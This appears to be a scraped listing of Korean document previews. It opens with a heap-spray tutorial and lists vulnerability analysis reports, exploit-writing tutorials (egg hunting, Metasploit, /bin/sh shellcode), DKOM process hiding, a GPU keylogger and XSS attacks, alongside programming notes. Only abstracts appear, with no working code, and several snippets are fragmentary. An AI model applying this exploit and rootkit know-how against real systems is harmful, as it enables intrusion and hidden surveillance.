Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

10.

10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

<41736D6C6F D20B9AEBCADBEE7BDC42E687770> IDA Remote Debugging 2007. 01. 이강석 / certlab@gmail.com http://www.asmlove.co.kr - 1 - Intro IDA Remote debugging에대해알아봅시다. 이런기능이있다는것을잘모르시는분들을위해문서를만들었습니다. IDA 기능중에분석할파일을원격에서디버깅할수있는기능이있는데먼저그림과함께예를들어설명해보도록하겠습니다.

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Verilog: Finite State Machines CSED311 Lab03 Joonsung Kim, joonsung90@postech.ac.kr Finite State Machines Digital system design 시간에배운것과같습니다. Moore / Mealy machines Verilog 를이용해서어떻게구현할까? 2 Finite State

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

Microsoft PowerPoint - a5a.ppt [호환 모드]

Microsoft PowerPoint - a5a.ppt [호환 모드] 5 장프로시저 (1) 책의라이브러리사용 5 장전반부 : 책의링크라이브러리 외부링크라이브러리개요 라이브러리프로시저호출 라이브러리링크 라이브러리프로시저 예제 연세대학교컴퓨터정보통신어셈블리언어 2 저자제공링크라이브러리 라이브러리파일 어셈블된프로시저를포함하고있는 OBJ 파일들을모아놓은파일 ( 확장자.LIB) 각 OBJ file 에는하나이상의 procedure 가들어있음

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환 취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

13주-14주proc.PDF

13주-14주proc.PDF 12 : Pro*C/C++ 1 2 Embeded SQL 3 PRO *C 31 C/C++ PRO *C NOT! NOT AND && AND OR OR EQUAL == = SQL,,, Embeded SQL SQL 32 Pro*C C SQL Pro*C C, C Pro*C, C C 321, C char : char[n] : n int, short, long : float

More information

DocsPin_Korean.pages

DocsPin_Korean.pages Unity Localize Script Service, Page 1 Unity Localize Script Service Introduction Application Game. Unity. Google Drive Unity.. Application Game. -? ( ) -? -?.. 준비사항 Google Drive. Google Drive.,.. - Google

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

U.Tu System Application DW Service AGENDA 1. 개요 4. 솔루션 모음 1.1. 제안의 배경 및 목적 4.1. 고객정의 DW구축에 필요한 메타정보 생성 1.2. 제품 개요 4.2. 사전 변경 관리 1.3. 제품 특장점 4.3. 부품화형

U.Tu System Application DW Service AGENDA 1. 개요 4. 솔루션 모음 1.1. 제안의 배경 및 목적 4.1. 고객정의 DW구축에 필요한 메타정보 생성 1.2. 제품 개요 4.2. 사전 변경 관리 1.3. 제품 특장점 4.3. 부품화형 AGENDA 1. 개요 4. 솔루션 모음 1.1. 제안의 배경 및 목적 4.1. 고객정의 DW구축에 필요한 메타정보 생성 1.2. 제품 개요 4.2. 사전 변경 관리 1.3. 제품 특장점 4.3. 부품화형 언어 변환 1.4. 기대 효과 4.4. 프로그램 Restructuring 4.5. 소스 모듈 관리 2. SeeMAGMA 적용 전략 2.1. SeeMAGMA

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

Linux Binary Hardening with Glibc Hyeonho Seo

Linux Binary Hardening with Glibc Hyeonho Seo Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern

More information

컴파일러

컴파일러 YACC 응용예 Desktop Calculator 7/23 Lex 입력 수식문법을위한 lex 입력 : calc.l %{ #include calc.tab.h" %} %% [0-9]+ return(number) [ \t] \n return(0) \+ return('+') \* return('*'). { printf("'%c': illegal character\n",

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

GSC Incident Report-바이킹 바이러스 분석

GSC Incident Report-바이킹 바이러스 분석 GSC Incident Report- 바이킹바이러스분석 1. 작성일시 : 2006.10.26 20:17(GMT +09:00) 2. 작성자 : 안창용 / 바이러스분석팀 3. 바이킹바이러스에대해서바이킹바이러스는 2005 년 2 월경최초발견된후잠시주춤하다가 2005 년 5 월부터국내에서웹해킹을통한악성코드유포사례가이슈화되면서 Internet Explorer 의취약성을공격하는

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information

Microsoft PowerPoint - a9.ppt [호환 모드]

Microsoft PowerPoint - a9.ppt [호환 모드] 9.1 이장의내용 9 장. 스트링과배열 스트링프리미티브명령어 2 차원배열 정수배열검색및정렬 컴퓨터정보통신 어셈블리언어 2 9.2 스트링프리미티브명령어 String Primitive Instructions 의동작 String Primitive Instructions Instructions 설명 동작 MOVS(B,W,D) Move string data M[EDI]

More information

Microsoft PowerPoint - windbg쉤무2(맋운톬로ífl—로엸엜Callingê·œìŁ½).pptx

Microsoft PowerPoint - windbg쉤무2(맋운톬로ífl—로엸엜Callingê·œìŁ½).pptx 본강의 PDF 는하제소프트다운로드자료실에서받아보실수있습니다 하제소프트 주식회사하제소프트 (www.hajesoft.co.kr) 강사이봉석 과정소개 윈도우응용프로그램, 윈도우서비스프로그램, 윈도우디바이스드라이버를개발하는개발자들로하여금고급디버깅기술을제공하는 윈도우디버거 (WinDBG) 사용방법을익히게하여, 고급시스템프로그래머를양성하는데있습니다 윈도우디버거 (WinDBG)

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

Remote UI Guide

Remote UI Guide Remote UI KOR Remote UI Remote UI PDF Adobe Reader/Adobe Acrobat Reader. Adobe Reader/Adobe Acrobat Reader Adobe Systems Incorporated.. Canon. Remote UI GIF Adobe Systems Incorporated Photoshop. ..........................................................

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks XSS s XSS, s, May 25, 2010 XSS s 1 2 s 3 XSS s MySpace 사건. Samy (JS.Spacehero) 프로필 페이지에 자바스크립트 삽입. 스크립트 동작방식 방문자를 친구로 추가. 방문자의 프로필에 자바스크립트를 복사. 1시간 만에 백만 명이 친구등록. s XSS s 위험도가 낮은 xss 취약점을 다른 취약점과 연계하여

More information

<4D F736F F F696E74202D C7D4BFEEC3B6B1B3BCF6B4D4205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D C7D4BFEEC3B6B1B3BCF6B4D4205BC8A3C8AF20B8F0B5E55D> Windows XP 에서의장치관리자 : Device Driver 에관하여 May 29, 2015. CHONBUK NATIONAL UNIVERSITY Prof. Woonchul Ham 2015-05-28 1 개요 1. 장치관리자란? 2. Device Driver 작업환경은? 3. Driver 의구조 4. Plug & Play 5. Device Driver 응용사례

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 2... ( ). ( ). @ vs. logic data method variable behavior attribute method field Flow (Type), ( ) member @ () : C program Method A ( ) Method B ( ) Method C () program : Java, C++, C# data @ Program

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture3-2 Malware Analysis #3-2 Agenda 안드로이드악성코드분석 악성코드분석 안드로이드악성코드정적분석 APK 추출 #1 adb 명령 안드로이드에설치된패키지리스트추출 adb shell pm list packages v0nui-macbook-pro-2:lecture3 v0n$

More information

OPCTalk for Hitachi Ethernet 1 2. Path. DCOMwindow NT/2000 network server. Winsock update win95. . . 3 Excel CSV. Update Background Thread Client Command Queue Size Client Dynamic Scan Block Block

More information

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration

More information

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770> 시리얼번호작성루틴을뽑아내서 Brute-Force 돌리기.. 작성일 : 2005년가을작성자 : graylynx (graylynx at gmail.com) 크랙미정보 GOAL : Find the correct password No patching allowed Difficulty : 2/10 This is an exercise on brute-attacking.

More information

PowerPoint Presentation

PowerPoint Presentation GPU-based Keylogger Jihwan yoon 131ackcon@gmail.com Index Who am I Keylogger, GPU GPU based Keylogging - Locating the keyboard buffer - Capturing KEYSTROKES Demo About me Who am I 윤지환 CERT-IS reader BOB

More information

USER GUIDE

USER GUIDE Solution Package Volume II DATABASE MIGRATION 2010. 1. 9. U.Tu System 1 U.Tu System SeeMAGMA SYSTEM 차 례 1. INPUT & OUTPUT DATABASE LAYOUT...2 2. IPO 중 VB DATA DEFINE 자동작성...4 3. DATABASE UNLOAD...6 4.

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

Chap04(Signals and Sessions).PDF

Chap04(Signals and Sessions).PDF Signals and Session Management 2002 2 Hyun-Ju Park (Signal)? Introduction (1) mechanism events : asynchronous events - interrupt signal from users : synchronous events - exceptions (accessing an illegal

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Microsoft Word doc

Microsoft Word doc 2. 디바이스드라이버 [ DIO ] 2.1. 개요 타겟보드의데이터버스를이용하여 LED 및스위치동작을제어하는방법을설명하겠다. 2.2. 회로도 2.3. 준비조건 ARM 용크로스컴파일러가설치되어있어야한다. 하드웨어적인점검을하여정상적인동작을한다고가정한다. NFS(Network File System) 를사용할경우에는 NFS가마운트되어있어야한다. 여기서는소스전문을포함하지않았다.

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2 제 17 장동적메모리와연결리스트 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다.

More information

WinDBG 실무

WinDBG 실무 주식회사하제소프트 (www.hajesoft.co.kr) 강사이봉석 과정소개 윈도우응용프로그램, 윈도우서비스프로그램, 윈도우디바이스드라이버를개발하는개발자들로하여금고급디버깅기술을제공하는 윈도우디버거 (WinDBG) 사용방법을익히게하여, 고급시스템프로그래머를양성하는데있습니다 윈도우디버거 (WinDBG) 를사용하는개발자는실무에서고급시스템프로그래머가갖추어야할중요한디버깅지식을습득함과동시에시간과비용을최대한아끼는프로그래밍습관과우수한결과물을만들어낼수있습니다

More information

DE1-SoC Board

DE1-SoC Board 실습 1 개발환경 DE1-SoC Board Design Tools - Installation Download & Install Quartus Prime Lite Edition http://www.altera.com/ Quartus Prime (includes Nios II EDS) Nios II Embedded Design Suite (EDS) is automatically

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

<C1A4C8B8BFF8C6F2B0A15FB1E2BCFAB9AEBCAD5F444B4F4D5FC0CCB5BFBCF62E687770>

<C1A4C8B8BFF8C6F2B0A15FB1E2BCFAB9AEBCAD5F444B4F4D5FC0CCB5BFBCF62E687770> DKOM을이용한은닉기법 이동수 alonglog@is119.jnu.ac.kr 개 요 유저모드에서프로세스나디바이스드라이버등을확인할수없도록만드는기법중하나가커널 Hooking과 DKOM 기법이있다. DKOM 기법은 Hooking과다르게커널개체를직접변경한다. 이는 Hooking보다훨씬강력하고탐지가힘들다. 이문서에서는 DKOM에대해서다룰것이다. DKOM 기법을통해다양한효과를얻을수있다.

More information

Microsoft Word - Armjtag_문서1.doc

Microsoft Word - Armjtag_문서1.doc ARM JTAG (wiggler 호환 ) 사용방법 ( IAR EWARM 에서 ARM-JTAG 로 Debugging 하기 ) Test Board : AT91SAM7S256 IAR EWARM : Kickstart for ARM ARM-JTAG : ver 1.0 ( 씨링크테크 ) 1. IAR EWARM (Kickstart for ARM) 설치 2. Macraigor

More information

WinDBG 실무

WinDBG 실무 하제소프트 주식회사하제소프트 (www.hajesoft.co.kr) 강사이봉석 하제소프트 과정소개 윈도우응용프로그램, 윈도우서비스프로그램, 윈도우디바이스드라이버를개발하는개발자들로하여금고급디버깅기술을제공하는 윈도우디버거 (WinDBG) 사용방법을익히게하여, 고급시스템프로그래머를양성하는데있습니다 윈도우디버거 (WinDBG) 를사용하는개발자는실무에서고급시스템프로그래머가갖추어야할중요한디버깅지식을습득함과동시에시간과비용을최대한아끼는프로그래밍습관과우수한결과물을만들어낼수있습니다

More information

Sharing Memory Between Drivers and Applications

Sharing Memory Between Drivers and Applications 본컬럼에대한모든저작권은 DevGuru에있습니다. 컬럼을타사이트등에기재및링크또는컬럼내용을인용시반드시출처를밝히셔야합니다. 컬럼들을 CD나기타매체로배포하고자할경우 DevGuru에동의를얻으셔야합니다. c DevGuru Corporation. All rights reserved 기타자세한질문사항들은웹게시판이나 support@devguru.co.kr 으로 문의하기바랍니다.

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4

목차 BUG DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4 ALTIBASE HDB 6.5.1.5.10 Patch Notes 목차 BUG-46183 DEQUEUE 의 WAIT TIME 이 1 초미만인경우, 설정한시간만큼대기하지않는문제가있습니다... 3 BUG-46249 [qp-select-pvo] group by 표현식에있는컬럼을참조하는집합연산이존재하지않으면결괏값오류가발생할수있습니다... 4 BUG-46266 [sm]

More information

untitled

untitled Embedded System Lab. II Embedded System Lab. II 2 RTOS Hard Real-Time vs Soft Real-Time RTOS Real-Time, Real-Time RTOS General purpose system OS H/W RTOS H/W task Hard Real-Time Real-Time System, Hard

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information

À̵¿·Îº¿ÀÇ ÀÎÅͳݱâ¹Ý ¿ø°ÝÁ¦¾î½Ã ½Ã°£Áö¿¬¿¡_.hwp

À̵¿·Îº¿ÀÇ ÀÎÅͳݱâ¹Ý ¿ø°ÝÁ¦¾î½Ã ½Ã°£Áö¿¬¿¡_.hwp l Y ( X g, Y g ) r v L v v R L θ X ( X c, Yc) W (a) (b) DC 12V 9A Battery 전원부 DC-DC Converter +12V, -12V DC-DC Converter 5V DC-AC Inverter AC 220V DC-DC Converter 3.3V Motor Driver 80196kc,PWM Main

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

The_IDA_Pro_Book

The_IDA_Pro_Book The IDA Pro Book Hacking Group OVERTIME force (forceteam01@gmail.com) GETTING STARTED WITH IDA IDA New : Go : IDA Previous : IDA File File -> Open Processor type : Loading Segment and Loading Offset x86

More information